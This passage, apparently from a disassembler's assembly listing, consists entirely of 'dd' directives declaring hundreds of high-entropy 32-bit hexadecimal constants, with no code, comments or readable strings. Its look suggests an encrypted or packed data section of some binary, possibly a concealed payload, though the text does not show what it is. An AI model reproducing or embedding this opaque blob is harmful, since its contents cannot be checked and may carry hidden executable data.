		dd 51E2F2E9h, 0E5680104h, 7C435715h, 5023A0Fh, 0F4E92BB1h
		dd 0B2EF83D5h, 8ED81004h, 0C0705A27h, 0D76AD5BCh, 0AF06217h
		dd 0D7EF50C0h, 94B02550h, 0CFE0D058h, 0F8305909h, 0C9A50E5Bh
		dd 61CD1232h, 8764287Ch, 0CBDEB7BDh, 1E2E123Dh,	0D15AE9F2h
		dd 2E547DE6h, 910B5F74h, 0BCA2D788h, 644C5A3Dh,	0C3708B14h
		dd 0CCCB10BEh, 0E5EE4A32h, 0F1E3F7E1h, 0F15687Ah, 58AC180h
		dd 67EF0B57h, 0F04DA43Eh, 7CF533E4h, 3865F5DFh,	0B87A95EEh
		dd 8D7916D0h, 2517F735h, 0A04BE7FDh, 0C24A0CFFh, 68F0248Dh
		dd 0E9635BAEh, 8A22C4B9h, 45755909h, 91A408F0h,	105D0027h
		dd 4A89FD49h, 3BBBCDD6h, 52FF0A16h, 0DB01AA68h,	0F4D341F5h
		dd 0D5C1E2DEh, 68856CDBh, 46527C70h, 218437E8h,	0E165EED8h
		dd 9396F6AAh, 13EB7008h, 7074FA5Bh, 7B5866A6h, 6DFD3525h
		dd 0B257AF4Eh, 0FEE617Dh, 9B84A7A7h, 9EF4BAEDh,	0B26F4F55h
		dd 0C3E5007Ch, 0C1691041h, 0E90316EDh, 4C88590h, 13345F26h
		dd 60B600FAh, 0CE296240h, 64F6BBA0h, 6556032Ch,	0F0CB5F17h
		dd 354DEE02h, 7B620AD7h, 0F62D940h, 854B263Dh, 41F13A2Fh
		dd 93810CD5h, 0DF3D2C12h, 0BAC0963Fh, 7E28260Dh, 30258033h
		dd 0F2BE0C45h, 0D6E5A45Eh, 6809F83Ch, 521A59EFh, 49DCDA80h
		dd 5E98302Ch, 0E5A89E4Bh, 4653E5C5h, 8BDAC4BFh,	25670A05h
		dd 0B5820921h, 979BD032h, 7AA3B657h, 0F160905Ch, 109F043Dh
		dd 41590722h, 0CB26D931h, 0D3F73508h, 4EDEF8EAh, 0BF2BD699h
		dd 0E66B6639h, 84974C41h, 1918D44Fh, 505AB268h,	5B549BCh
		dd 53060BD1h, 0E310BAC6h, 5CBC5808h, 106B48C3h,	680A4C95h
		dd 9E68064Fh, 27276856h, 547B015Eh, 6135153Fh, 0F84212A6h
		dd 0CDC956ECh, 3254F2E1h, 5ACE3BADh, 0B7846627h, 617F10A1h
		dd 26F02132h, 15E25B6h,	0BBE95770h, 13230AFEh, 0B9F2C01Bh
		dd 425F6915h, 0D31108A0h, 4E48FC0Dh, 14A039EBh,	18C4FF9Ch
		dd 0FD5BECDAh, 54D6D849h, 2C574F5Dh, 0BF9C2DA5h, 0A73D542Bh
		dd 9BF8372h, 4835E2E8h,	0B2D91BEh, 426C20CAh, 1663E184h
		dd 0D805D0B8h, 0C160A579h, 0F840E02Bh, 0EC04714h, 0ADAAB8Ah
		dd 5FFD0989h, 404EE31h,	0C623FCADh, 97D854F6h, 0AE43D082h
		dd 20D53003h, 92BE752Ch, 27F06807h, 26C5D50Bh, 48137D2Ch
		dd 4062D428h, 62905447h, 0C54DDF66h, 0E308F423h, 0B2592095h
		dd 0A3C9BE92h, 13EBB26Bh, 37C9D2EFh, 67F01645h,	0C8070FBFh
		dd 0A2461A3Ah, 51B5654Bh, 2B923DA0h, 3E635BFh, 967F2F4Fh
		dd 0D73FA494h, 0AC881B65h, 53FB4FEAh, 38068F66h, 184460E1h
		dd 0FA5E0740h, 5C0A89Eh, 5A8613B0h, 20D0A8ADh, 0CC1CBF01h
		dd 0D239D69Dh, 68505476h, 0AD605426h, 0E8E54F94h, 0CFEC585h
		dd 83658A48h, 96003BDh,	0AB6045C2h, 8E007D0Fh, 7B14357Eh
		dd 4AE93B69h, 0D8B4F538h, 0DB9D0A0Dh, 4B27A690h, 5CE13E73h
		dd 798529E9h, 0FC20B551h, 73B84F79h, 5334B203h,	32F7D388h
		dd 27DEF6DDh, 413AE989h, 0F27A21A9h, 70BCD3BDh,	28491104h
		dd 0E3AA0E12h, 84E9A4A9h, 9520EAB1h, 0BB72408Eh, 992F0DFCh
		dd 255E5629h, 0E84EB501h, 72C40477h, 23680802h,	0A0ACD96Ch
		dd 71F5E21Eh, 0A82ED75Eh, 1E74E19Bh, 182B307Eh,	567D414Bh
		dd 84C4FB4Bh, 0A047ACEEh, 4A456855h, 0DE30EB0Dh, 0BED5B3E9h
		dd 86044980h, 0ED6DEE67h, 0B475EB3Bh, 8C53A0h, 0B81AE751h
		dd 0E518AE78h, 0C19F589Fh, 0C91E483Eh, 0E7E52F38h, 44E90801h
		dd 50C10C3Ah, 845B41C0h, 1FA22075h, 3D13710h, 0CC54E168h
		dd 0C040206Dh, 480D70B7h, 2B2DC165h, 8814FF2h, 0BBA625Bh
		dd 82E1F766h, 5D1F611Ch, 2E43E59h, 9638E920h, 0BF7766B5h
		dd 24EDC64h, 4297F5A7h,	1075E99Bh, 40A82773h, 0EB5F2550h
		dd 477A8D05h, 79804318h, 4A67556Fh, 0ECE016AAh,	3C8E0206h
		dd 775A49C9h, 0A2DACDE2h, 6C6D8212h, 0C0D6090Fh, 3A12BB53h
		dd 1067F71h, 0D337E1E3h, 0DCD14B40h, 93B293E9h,	136C73BDh
		dd 0B062B85Bh, 5BBC6452h, 2AD2C056h, 424A2606h,	0FAC2F290h
		dd 63C70B5Dh, 36E61368h, 3E6236A1h, 0E238CA8Ch,	597B2DFEh
		dd 0C9D01A42h, 67B54C0Eh, 1DE1374Dh, 0F49E346Ah, 195F68E7h
		dd 0E9C2EFF8h, 13F2139Ah, 2A08AD14h, 0F94A10E9h, 0E589FE4Eh
		dd 0B54736ECh, 0E760F774h, 90C71AC5h, 169BF6F0h, 53590B62h
		dd 412CEAADh, 0F42B4BFAh, 44B04957h, 0C0531A30h, 4B4612CFh
		dd 84BBE041h, 0DF00BB41h, 4E6927A6h, 8615002h, 0D99C7049h
		dd 2A1CA8C3h, 0E955E970h, 38CA5B9Dh, 0A99853E0h, 236E350Eh
		dd 7C4C8161h, 96613DBCh, 0FA27843Eh, 6FF1C169h,	681E5478h
		dd 0D805EC7Ah, 2C4ED2E9h
		dd 7E84E5E8h, 4A8BB2A0h, 0F7C58692h, 4F62454Ah,	0C595AD70h
		dd 0C0CA127Dh, 6E2C1D2h, 0F2ADA095h, 1084B933h,	27D70168h
		dd 2AC910C7h, 7ADD82F8h, 9D176038h, 736EBE56h, 68305F05h
		dd 30EF0FD5h, 2554BF4Fh, 0BE780202h, 0F72C3841h, 0A521D08Ah
		dd 9FBB36DFh, 748BC7FCh, 780D5C0Ah, 0E84B77E9h,	9ABAEB8Ch
		dd 187CBD4Dh, 0E95F6852h, 0BE6A5E14h, 0D36CB044h, 92366D1h
		dd 4F73E62Bh, 0FD5BAB8Ah, 0A42CCD5Ch, 0B12657C5h, 0DA142805h
		dd 0A35EEC6Eh, 37C9B849h, 6EAA3E62h, 721DF1BBh,	1500ACFAh
		dd 510FB438h, 9C24D8B1h, 141CB73Bh, 86C4C101h, 0EC33716Ah
		dd 7049689h, 912D1AB9h,	0BBD1F712h, 8C588C6Eh, 0E105EC11h
		dd 0F0D37FC2h, 0B8E0A3C5h, 5B032468h, 0EF20C2C1h, 94256CC5h
		dd 0DAB794EAh, 405AC1h,	2D5B66BEh, 2D7C5E0Eh, 0A49B858Bh
		dd 98583A4h, 5585BDA3h,	91DBEB14h, 644CDE52h, 1E4A110h
		dd 54F6CF81h, 36307C9Fh, 18291425h, 1301F106h, 0E9491D68h
		dd 0B2A2DA35h, 79FD5BD9h, 0AAD2C5F5h, 7A90344h,	9556E4F4h
		dd 6FC1A0C9h, 0CA4AB2F8h, 0D9C95F86h, 5B689F2Fh, 0DC2CAC42h
		dd 0AFB02FEh, 0F509BB19h, 84607FC9h, 60FF2D59h,	0FC9A5E0Bh
		dd 22B5524Ah, 96C8C7Ah,	2C473100h, 79A117Ch, 92CF12C7h
		dd 0E021F022h, 0C2D19h,	549DD2Ch, 3DE92B43h, 9616D49Fh
		dd 5FEE65Ch, 548C4AE0h,	81F6C8ABh, 263AF304h, 0BEC02B8Ah
		dd 3F1D4FDh, 5BDF29F9h,	8E99BF2Dh, 5F8E053h, 0B94307A2h
		dd 5E5E09ECh, 0E9EE7825h, 8DE60728h, 3BC2801Ch,	4028B232h
		dd 825BBA9Ch, 0F436D25Fh, 97D6BACEh, 2940E9BCh,	3F764138h
		dd 0DA470BB1h, 89A167A0h, 98C8E457h, 0EF175F3Ch, 0A45CE57Ch
		dd 0C9DAC90Dh, 5219BC58h, 1E6A7FB6h, 2ED9FDC2h,	684EC8E9h
		dd 0C54049C7h, 54B7884h, 0B500E5C1h, 86721BF5h,	4C54FC1Eh
		dd 40A01CAAh, 6200470Dh, 0E8C134C3h, 0E4E92D06h, 0A1015EFBh
		dd 0A6E76E1Ch, 0DC4F347Fh, 57BEC2E7h, 25F0F70Fh, 0B3B40D50h
		dd 0A5618868h, 81544222h, 6E580EBh, 24B2288Bh, 58097954h
		dd 279B7F1Ah, 624871CAh, 5373DC88h, 15208AB8h, 4BF8BD9Bh
		dd 1D7C2C2h, 0C183DE89h, 3AC77AE9h, 0CCF77AD0h,	760E2E10h
		dd 942AC1Eh, 47E8D782h,	5E825569h, 2FE206Bh, 0ACCA645Ch
		dd 657FF131h, 2985891Dh, 8A04B7DAh, 89F436F7h, 48860E81h
		dd 5B7D6800h, 888918B1h, 7E70D7F4h, 26C7D39Fh, 45290B3Ah
		dd 1C8962E5h, 5A13D444h, 0A61304FDh, 6850BA80h,	361E5595h
		dd 5D3FAAE9h, 504082D1h, 78D7250Ah, 630882F6h, 0DA02FB57h
		dd 0BDA670A8h, 0E1E5B9F9h, 7C5AF449h, 0CFF8B957h, 53E4D906h
		dd 3888BBBDh, 9C7419EEh, 3ED1A01Dh, 18E95E02h, 9B6757C1h
		dd 65ED7F3Fh, 0E4C63AB8h, 183DBEB2h, 0CB0FCF86h, 0E477D6A2h
		dd 2E749FC2h, 0B4169D6Ah, 0A67B40F1h, 0C8EA4E9Fh, 44D2CA4Ah
		dd 7AB1B7ACh, 9A680076h, 0CD97C505h, 0C737AE11h, 7502D392h
		dd 56808D67h, 0DBB35968h, 0CD27B45Bh, 42334191h, 0FD5C0257h
		dd 5066FF4Ch, 4FC8584Dh, 4A39FC37h, 0BDA160FFh,	0E59CFEF7h
		dd 9D92FBCh, 3FE2E5AFh,	0FEFDEF0Ah, 3E0F78B7h, 0D6EAC080h
		dd 0CA04FA98h, 0BE17EB89h, 0C8AE6AD5h, 9C40B53Eh, 0C4C2EDC1h
		dd 0BD452A3Ch, 9D1279Ah, 50704C5Ch, 403C03B8h, 5CE91DB0h
		dd 0C265FFE4h, 0D3A5A2AFh, 31E51741h, 24206F23h, 101500B3h
		dd 4794BD08h, 0E9197733h, 0FAB3B1A0h, 0D33E0531h, 5F75F68h
		dd 0A1FCAC9Ah, 17819611h, 8D2A3BEEh, 12502A33h,	0FF0C6B08h
		dd 0B681E2Ah, 9E5810E9h, 0BB67BB7h, 65D54451h, 8E5C9251h
		dd 0C8D951D3h, 331296BEh, 190002B5h, 4F3527E2h,	814E4FE9h
		dd 20F828BCh, 75C05A09h, 7BB951D8h, 0C07DE444h,	0C0203240h
		dd 0BC5AE93Ah, 74663D0Bh, 0C97A4252h, 4C309C09h, 0A55FD456h
		dd 0C7257EFDh, 2897B5CAh, 5B9D5AADh, 0D6E98BD0h, 0BA52BCA0h
		dd 413D308Ah, 0F2849832h, 48C15A92h, 1E274FEBh,	6F05CC41h
		dd 1040EECh, 0AB5A5818h, 42AE6A34h, 7B6E6843h, 0CCEE1A2h
		dd 0F0D8620Bh, 0C727442Ah, 5F556AB7h, 7EB50658h, 7CE90F78h
		dd 2A60279Ah, 7E76A022h, 0A9DDF11Dh, 5ED6439Eh,	95BA97E0h
		dd 816182FDh, 84187D44h, 0D6546BE9h, 52B5F89Dh,	3F60B08h
		dd 9C8973B5h, 8D770F29h, 670D1CB1h, 450D293Fh, 0E9109013h
		dd 5DCE1193h, 0E721E5C2h, 0EC4E078Ah, 3A92AD18h, 0BC573466h
		dd 4F500101h, 1F682F4Ch, 2E61B62Bh, 0F6890464h,	0BD3D84DBh
		dd 65EA8BBAh, 43FC9FDCh, 0E03E64C1h, 0E2933110h, 2583672h
		dd 0B5ED2EE7h, 4419FBA7h, 0EE800387h, 6AF699F1h, 9D6DC3D8h
		dd 0B36A0E77h, 81662DFFh, 0C3284C1Ah, 167F66E9h, 128DCB36h
		dd 8882D654h, 90ADF7D0h, 4B9C1EEEh, 0F79828AFh,	0C0AE04FFh
		dd 65F281F6h, 76485013h, 9C523700h, 0C72960B3h,	9C45E9ECh
		dd 0D1EC462Eh, 53038094h, 0A266F7B3h, 61484280h, 403890C0h
		dd 1158F5Ah, 0E9C8BE0Fh, 0AB2AE533h, 0BBC23177h, 5A985514h
		dd 7FAB6994h, 0BF6448C1h, 9D74202Bh, 0E46FD879h, 0A3EA47C3h
		dd 68A26195h, 0A23E21C9h, 6FA977Bh, 2C5F3AADh, 8970C990h
		dd 1866DA26h, 3B930800h, 98F92946h, 0F8214A41h,	555AA01Fh
		dd 31A02BDh, 70E90893h,	442FDED6h, 0B0909037h, 0BCE14A26h
		dd 3568A17Ah, 1C4FA36Ah, 28B1F4E9h, 7D70C680h, 1376BDF3h
		dd 30E6AA88h, 0C57331A8h, 0E7814702h, 0DED679FAh, 0E8F3EEDh
		dd 0BFB20F5Ah, 1DE9C747h, 9F8B4E59h, 1EC86172h,	0C32952C0h
		dd 0FDA38990h, 826B5288h, 18135584h, 2D3446FEh,	0A9E041A1h
		dd 0EC4C37D2h, 77ED02D1h, 0FE55E851h, 0B78E0902h, 0D7659EFCh
		dd 662D20BCh, 862E215Fh, 0FDEEFEC6h, 0E985C16Dh, 0A74B0E94h
		dd 56F483EDh, 5B100BB2h, 3E57348Bh, 583794F6h, 0D4A05051h
		dd 59815467h, 0D3DB0BD8h, 0F88E448Dh, 0FB310760h, 580B1CF3h
		dd 0F6262B0Eh, 0D4584798h, 6495AEACh, 852A1C04h, 0E4FD8807h
		dd 1645FDA8h, 87BEF581h, 0ED96C3E1h, 5551875h, 0AA828A81h
		dd 7909478Bh, 0B7401609h, 0E2D265D4h, 0E1D551C6h, 93E8D5E9h
		dd 64EF296Ah, 56A6AE00h, 0DB1CD305h, 1E2CAA4Fh,	3D3512D1h
		dd 5B980075h, 475CB439h, 0AD6856B7h, 212E0FD5h,	698C5E72h
		dd 9AADE0DBh, 55DD27D8h, 687C1FD8h, 849A239Ah, 25E8BA05h
		dd 12BB6CEAh, 0D1560B5Dh, 0E413C8Eh, 30215155h,	5B19715Dh
		dd 50FA189Bh, 5E5F15ECh, 48A0ED31h, 3F300D2h, 0E9854FB1h
		dd 97139219h, 3E02F679h, 4004287Fh, 2F405056h, 309895C3h
		dd 14F41E9h, 5C440EBh, 38F0F90h, 0D8EF8CA1h, 38B06D2Dh
		dd 7DC10995h, 549F0D9Ch, 0FD820982h, 0EE2FA7D1h, 0F53FA1B2h
		dd 0F93FFF25h, 0A98AD39Fh, 0CF1C5B79h, 7DC569BDh, 0B035B54Eh
		dd 81EDCF64h, 7CB85Eh, 23B43336h, 92E7C14Fh, 89C84B0Eh
		dd 0E07DE08Dh, 2CB567B7h, 27A2028Bh, 585411DCh,	4F446602h
		dd 0D6A1430Eh, 845F97C7h, 36B2C911h, 14869899h,	34A6EFC4h
		dd 47016A7Fh, 8F090045h, 72AD6806h, 0F8B23DCEh,	12B3C59Bh
		dd 0FB2E3A50h, 0B24D454Eh, 1392E1C8h, 1E1A1B4Ch, 0C203F42Ch
		dd 90D88h, 202FE065h, 0EB012E3Dh, 0AB5B9233h, 0FEB82F49h
		dd 955F2523h, 0D0898916h, 0A51C7BDFh, 0FB9DAD50h, 6B5CE947h
		dd 2BC04B39h, 388099B2h, 0D53A9FEDh, 0FDCAC5BAh, 0B75380BEh
		dd 0FEDFF63Ah, 81303C7h, 0E1E95BFDh, 69F3BACCh,	5B8933C8h
		dd 0C233F721h, 2A7063D2h
		dd 0D72B902h, 0F55120E2h, 0E9127A5Ah, 0B36713h,	0B9755603h
		dd 0C2F15249h, 0FE3CA5D0h, 0CA7B8E92h, 8782E629h, 78E0BE5Fh
		dd 0E916E078h, 861ECE5h, 81005AC6h, 461EBBCBh, 27FF4C59h
		dd 0EEE0522Bh, 0E186469h, 0E5FCBB05h, 0C0104F7Ah, 5550BBD0h
		dd 0D4271F27h, 93CE80DEh, 4E256E72h, 0C8020190h, 0E97B853Dh
		dd 0FE2823CAh, 1E705CBAh, 881CD795h, 0C237E927h, 0F657E667h
		dd 6702BD31h, 0B7FCDFEh, 200C7075h, 0B30FC6A7h,	0D2B5514Bh
		dd 88F3D8FBh, 5FA8DC5Bh, 0E9B3E4B0h, 551E5D2Dh,	6857DEB0h
		dd 6D43A11Fh, 0B8015F93h, 0E760105h, 17C04920h,	0E819531Ch
		dd 0ED3124CEh, 751B4227h, 0BA982066h, 0A7F7A058h, 0E8B126B5h
		dd 0E24111E5h, 268250D3h, 515A8A2Ch, 0F11C3141h, 98D16AB4h
		dd 0C120501h, 418952F1h, 4EA059DBh, 0C29710B1h,	65051A48h
		dd 0EC740147h, 0FA5C66FAh, 0FAC74B9Bh, 60EAA4C4h, 0D1F6E9F8h
		dd 56C8FE5Fh, 0E1D4955Dh, 6265A5BFh, 52FE51DEh,	0F45A6B44h
		dd 0B2B8B4C4h, 0C46ED7DEh, 0E7F7BB48h, 0FF190192h, 603E593Bh
		dd 3904D321h, 0B3E91E8Eh, 0A2D7BB0h, 5244A79h, 0C3EA1EC3h
		dd 0C83173ECh, 1CC4CC20h, 13A8F280h, 511ECCD0h,	0C0CDB100h
		dd 0F18002E9h, 76E1EC58h, 711B003h, 0B450C9FEh,	69C1E19Fh
		dd 0BFE1FB28h, 7543935h, 344B40A1h, 0FED283B1h,	0D3F4E37Ah
		dd 0BD4FD0EAh, 412D3E22h, 3003DE32h, 0FD3842F2h, 0CBBE1D4Bh
		dd 0F3787B33h, 421733FAh, 91171F8Fh, 15A34FBh, 144D2BDEh
		dd 8C804009h, 1E053C5Bh, 0E4F1E941h, 5FFD3ED1h,	641A6C83h
		dd 2A0020D0h, 0A657193Fh, 95030DE9h, 6FED3118h,	3BC49895h
		dd 0C80580C1h, 0DB8D2E26h, 72DF00Ah, 0C4FA4A3Eh, 0FFECAAD0h
		dd 527A0193h, 700C602Fh, 95940751h, 584FF018h, 0C581F601h
		dd 0BD2E5E04h, 0E95D04D5h, 71ADC871h, 20B8C01h,	31F90107h
		dd 0B0080518h, 629DA3A1h, 1CFC5545h, 9DF793D8h,	0C409A222h
		dd 5D2527D9h, 0C24DAD02h, 0ACA2DF09h, 3BF6FB6Dh, 0D6685A40h
		dd 0E1329537h, 0B0CF337Dh, 716A336Fh, 246CB46h,	0B0F5DDE1h
		dd 88BD6EA1h, 155E3E42h, 125AAEA5h, 6A91C526h, 0E9AB40Ch
		dd 929CFE90h, 203298F2h, 47976C82h, 0B2FC0818h,	56A96807h
		dd 1D6E7709h, 0AD2C88DCh, 8EEB2193h, 26320030h,	0C889E168h
		dd 4047B859h, 0ED9F2910h, 0ECDF25D4h, 511B2C1Eh, 145A9274h
		dd 0B03BA598h, 1F758BAh, 0BFB252BEh, 3F07EAC0h,	9610B5E6h
		dd 0D4B6178Ch, 2226CCB0h, 0F996FE28h, 0F556A51Eh, 5BC2CC24h
		dd 0CF18F505h, 0BE800440h, 52611637h, 214F007Fh, 0F72C2835h
		dd 4527D648h, 0F9382AC8h, 41C994E0h, 2EC568C9h,	1D8423F0h
		dd 816ECE3Fh, 0F22562EEh, 7A142AFFh, 0CCE57BDBh, 22161931h
		dd 0B94104E9h, 14E56853h, 28605B89h, 0C32D6C52h, 0F31CFF02h
		dd 6B8D5695h, 9D084EDFh, 0C6096B7Eh, 7DB0FD61h,	49494268h
		dd 611984E4h, 9DCFD6BCh, 94828F38h, 0C7165F82h,	0F607B501h
		dd 0A7C9E9DDh, 2EB5B34h, 0C1231439h, 160108E5h,	2B315403h
		dd 28347EE4h, 839B4284h, 850C4ECDh, 2BC9EA70h, 634ED7Ah
		dd 67101CD7h, 252D7A46h, 60298EFh, 59FEB9E9h, 5DB9AD13h
		dd 580308C0h, 909B929h,	0DE4D3228h, 9B1C3071h, 60E35A7Bh
		dd 5F81D470h, 54AC8B2Eh, 322D578Bh, 53A886DFh, 98C29F0Dh
		dd 62BEF97Fh, 2F77D1E9h, 55A5BF8Dh, 54301914h, 5917DC5Bh
		dd 4D1E0B02h, 0A4C2D9E9h, 0CAFD5B62h, 85C5425Dh, 0CCEB8776h
		dd 0CC4EBDB8h, 132538F3h, 28D62F42h, 97418558h,	688407D3h
		dd 0E7ED3045h, 0E9170CB6h, 90EE3F01h, 70031762h, 4C065758h
		dd 0F861709h, 0C116ABh,	0E9135CEEh, 0FE4BD0D6h,	50B8CD56h
		dd 2817680Bh, 6B209B46h, 68E388CBh, 247B4B27h, 813F815Eh
		dd 0D412AD0Dh, 5C86CFE6h, 49BE3AC3h, 881A0507h,	7E9055A9h
		dd 264E72E9h, 3C59B790h, 0B83448DCh, 0FE67CA06h, 6E0F187Fh
		dd 801AF835h, 0C9485DE3h, 48589F7Eh, 9B18D398h,	8F863E14h
		dd 0ECCFD3C7h, 0FD746B2Bh, 7C010640h, 536F5F81h, 280AFDDh
		dd 0B79915E9h, 0CF6D198h, 5A08A902h, 7852D2F7h,	0CA40A1ADh
		dd 0A01957EEh, 0D1937ADDh, 0DCFAFA32h, 4FCF8162h, 40295059h
		dd 42DBA9F2h, 39BB845Eh, 33E482F2h, 7515022Ah, 1679979h
		dd 1718D8B9h, 4962AD9h,	2CCE490h, 77D1F749h, 3116E110h
		dd 0CC78573Ah, 0C3D962C2h, 270F7C58h, 57899D4h,	1C4B171Dh
		dd 0F594A873h, 0DF5F582h, 9F2ED088h, 0BD350907h, 4029220Eh
		dd 58E71D92h, 2305E437h, 0BC479A1Eh, 0ED4212C7h, 40C9A9B4h
		dd 26F8ACEEh, 546F04B7h, 5FB728AFh, 6BFC7197h, 0E0AD7F74h
		dd 25C15C98h, 80218E8h,	395F05B7h, 0E804F1C3h, 0E257B4A5h
		dd 5617E2A9h, 741CB158h, 62B70586h, 8F7E7D76h, 0C2BE54F8h
		dd 0D889508Eh, 325D4F0h, 0B63FBCBh, 97F625CFh, 2D12E961h
		dd 3C5D12Fh, 2B68008Eh,	26742736h, 7F289DDBh, 6C4E8A74h
		dd 0B5200FE8h, 8DB046C4h, 0D2B78AFAh, 87E528AEh, 0C0767C95h
		dd 3CDE1B36h, 2AC5850h,	0A85A2390h, 0F087CFFh, 0D17A0095h
		dd 0E7C145EDh, 0B7C5B281h, 0DB2602BEh, 2E2737D0h, 21D40A50h
		dd 216C6681h, 2222B674h, 8CF39708h, 0F6952009h,	0E0784BBDh
		dd 4A12DC20h, 0C998EE5Ch, 0BBD9B55Bh, 53A0C069h, 0CD5154E9h
		dd 0FADD5E88h, 7AB28B0Bh, 58C12F00h, 3BC496FEh,	77F26FD7h
		dd 0A7B9F928h, 0B709E87Dh, 9E7F585Eh, 3662CF03h, 0E7B03BFAh
		dd 4D265044h, 4A08346Eh, 0C9D09DDAh, 0D668A85Fh, 577003C8h
		dd 133FE594h, 25E9C36Eh, 40C56110h, 5503E6DFh, 0E3C10D72h
		dd 5060008h, 8607F381h,	0E2B50A90h, 40F1CA43h, 16378A3h
		dd 0C3016572h, 3A4FBD68h, 41CCF530h, 0D16012F2h, 4814ABE6h
		dd 67926EF5h, 0BBB567Ch, 57550B8Fh, 43DAA43Bh, 5A163FD4h
		dd 9ECF1E55h, 0B7A7C6AFh, 93AC1BFEh, 0C8AA8D12h, 8195DB6Ah
		dd 0CEB8049h, 0D22AD221h, 0B9C8D89Bh, 0FD2C1BA5h, 7803B346h
		dd 2AD73Dh, 0D098950Ch,	0EE66E9F2h, 40BB44D7h, 96B58528h
		dd 32972988h, 0BB697625h, 5426658Ch, 50584110h,	0F4482783h
		dd 0B085EF48h, 481CAE11h, 37E9EB03h, 2D2602ACh,	2CCCB501h
		dd 0EAC343D7h, 320BF55Ah, 4A521E74h, 258D40AEh,	5FA83B64h
		dd 0A0A1FF28h, 811F563Ah, 0D39D3E01h, 0A10DA97Ah, 0B2E67E9h
		dd 0A2DF4DAAh, 0A383F30h, 0B752545h, 714B5DCDh,	0BC265D50h
		dd 0B30B340h, 5C0868D8h, 4D1281A2h, 0EE883E69h,	3580CC77h
		dd 0EBA706B9h, 0EF2CF00h, 57C8BC2Ah, 9F005C21h,	0E927B038h
		dd 0D19ABF1Dh, 0A354E1ECh, 0FC04EF91h, 57281803h, 0BB7CFA0h
		dd 5B648550h, 0ABDEAA85h, 8E94E837h, 0A0BF0994h, 355AF63Ch
		dd 326CF5E1h, 50C888C3h, 2877DC9Ah, 861CDCB3h, 8D0F6CCh
		dd 0AA835E68h, 30D97D31h, 244BFE01h, 4DBAC73Ah,	0A2295827h
		dd 0B1C5CC6h, 0CD81A85Eh, 66E310D4h, 370B6F30h,	0F7CAFD7Eh
		dd 439C02F7h, 0E929015Dh, 0BC2FA4D5h, 0D08BDEE7h, 4B6DDA65h
		dd 0C7E6300Dh, 77647A1Eh, 37B8BC90h, 5B6DCC05h,	2283AB63h
		dd 0E0FDE194h, 0BA20917Ah, 1D913A58h, 0CD6EC6B3h, 0CCBC3FB6h
		dd 511DF78h, 1F503A6Dh,	0C6C146Ch, 4613E982h, 808CBADFh
		dd 310FF65Ch, 0CD892E69h, 0CDDF3980h, 0A5F33C11h, 1271A3BFh
		dd 0D9AFC253h, 56328073h, 663A71BEh, 6DF19F52h,	8510FD25h
		dd 99598E9Ch, 65975FDFh, 0BA0059C4h, 6A7A7852h,	0F20068BEh
		dd 0D4F4F0A6h, 8A362DE9h
		dd 27DAB92h, 7D881198h,	0F3A549D3h, 0E0280978h,	0BB62E8DCh
		dd 0F579F740h, 24AD8C88h, 1EEC25A6h, 7572C20h, 88521BB4h
		dd 82F724E6h, 8155BE5Fh, 61F46822h, 0D059447Bh,	6F801228h
		dd 3ED703A8h, 0FB935768h, 2B1DE57Bh, 8B9F05AAh,	40DAEE3Ch
		dd 0DEC7E90Dh, 0DC442B64h, 21020955h, 0E3C15FF8h, 0BC8F7110h
		dd 34955D05h, 9981B5CEh, 77E1417Fh, 4A230C85h, 0BBDBC4FEh
		dd 81A6484h, 0B6140D0Ch, 18BFD67Ah, 0BF67491Dh,	0EA342999h
		dd 8F5B0843h, 0C14C2A6h, 3F652318h, 0F029A0Ch, 31E968BBh
		dd 0C300C8B8h, 358297BAh, 9A5D6A4Dh, 813B74C1h,	0ED1CB7E5h
		dd 8B733026h, 6BBA4C12h, 0B8EE1484h, 87F50244h,	5E6023A5h
		dd 0E9550572h, 5B8DE8DEh, 97DF2AB0h, 5024CBC6h,	4D129F9Ch
		dd 64D8B0BDh, 0EA015D52h, 33F78114h, 3EE79651h,	116790Ch
		dd 0ABF60164h, 7E4959h,	978A2534h, 1E1A2800h, 79980D7Fh
		dd 0E0ECF7E8h, 16FE92Dh, 0DD89593Bh, 0D25CAAE0h, 52AEE17Ah
		dd 685827h, 800043B4h, 0D4F6CAE4h, 76B55152h, 0AD55C5Ch
		dd 0C1767920h, 782ADC3h, 3E70E6AFh, 0A12D19EBh,	0C097D76h
		dd 1CE4D54Bh, 0F1F0713h, 82A3DEB0h, 1BBCB460h, 4D3A8917h
		dd 0B82B83AEh, 29F2B29Bh, 1023202h, 0E6A5B353h,	595DE8DFh
		dd 0EEE0F550h, 805C95D3h, 5AC8DDFAh, 254F93E9h,	5BCEEEBCh
		dd 0CC8451AFh, 0DCF2AB61h, 0F5CD8392h, 0F5E8B8E5h, 0B901FDA6h
		dd 785B3643h, 2A76EEE9h, 3B347527h, 49B5BFA3h, 0CF6C5EABh
		dd 7CA4CE09h, 121FFC3Bh, 0DE2BB891h, 141B044h, 0B5DADE0h
		dd 31F31B09h, 5249A2F5h, 0E7D5A36Bh, 3EF9B05h, 3EB2C736h
		dd 0C0478F5h, 7E187DD7h, 9AD0EAC4h, 3D08ECBBh, 89274657h
		dd 45D098Bh, 4839383h, 7F34E2C3h, 7290BF10h, 0AF301B24h
		dd 0AD8BBB3Dh, 2C7E23Dh, 5ACAA2CEh, 245B25BEh, 0F61F4C55h
		dd 75EBEC1h, 1945E5D1h,	4F990000h, 214F6EC0h, 27DBDE04h
		dd 0A7C535A8h, 0D415F255h, 42B3F27h, 97E9231Ch,	5B0CC1ABh
		dd 8BC2E8Bh, 5CB05B5h, 0EFAB358Ch, 4A4D99A6h, 0C291F397h
		dd 575C9668h, 23D4298h,	2931ABFh, 0C3EF3C7h, 0AC413A0Ch
		dd 0FEB55E41h, 0B9F1062h, 0E133A614h, 2D5291C9h, 7A173F86h
		dd 25762D01h, 0E88334EAh, 407AB0FBh, 0BC555A2Ah, 0F37D3F74h
		dd 0FE58C728h, 0A20F34F5h, 1C200710h, 0AE16AF38h, 8681EF92h
		dd 0DC6BCAF9h, 93A159D4h, 25429BFh, 41CD95C3h, 24D354F2h
		dd 0EB191674h, 0D3CB8A90h, 7B52C39h, 0A4C535B5h, 3984B69h
		dd 5778BA0Ah, 0AD02B66Bh, 600CF96Dh, 2E1EACB2h,	1F6F1852h
		dd 6B0F0BF1h, 0DF965DE7h, 561280A2h, 0DD0CF5CFh, 0FBC5A7A5h
		dd 2E179FDEh, 42775233h, 645E57D3h, 0BB5FE904h,	4EB6D8C8h
		dd 13DBFC57h, 28FCF7D7h, 6F6A0C9h, 4E1C7725h, 55B531BDh
		dd 34B68C8h, 0E9354539h, 3C06B89Eh, 5F3EDFBBh, 131B209Ch
